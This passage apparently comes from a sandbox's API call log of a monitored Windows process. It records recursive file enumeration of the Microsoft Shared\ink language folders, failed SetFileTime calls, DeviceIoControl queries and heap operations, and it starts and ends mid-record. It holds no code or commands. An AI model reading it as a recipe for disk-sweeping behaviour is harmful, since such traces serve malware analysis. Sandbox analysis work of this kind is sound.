ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.537] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e08c8 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1230 [0045.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.537] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.537] GetLastError () returned 0x12 [0045.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.537] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.537] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.537] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.537] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.537] GetLastError () returned 0x12 [0045.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.538] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0045.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.539] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.539] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.539] NtClose (Handle=0x160) returned 0x0 [0045.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e08e8 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1338 [0045.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3c0) returned 0x9d63e8 [0045.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0e90) returned 1 [0045.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.540] GetLastError () returned 0x12 [0045.540] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.540] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.540] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.540] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.540] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.541] GetLastError () returned 0x12 [0045.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.541] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.541] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0045.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.541] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.541] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.542] NtClose (Handle=0x164) returned 0x0 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.542] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.542] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.542] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0908 [0045.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1440 [0045.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.542] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.542] GetLastError () returned 0x12 [0045.542] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.542] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.543] GetLastError () returned 0x12 [0045.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.543] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0045.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0045.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0045.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.543] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.543] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.543] NtClose (Handle=0x160) returned 0x0 [0045.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, 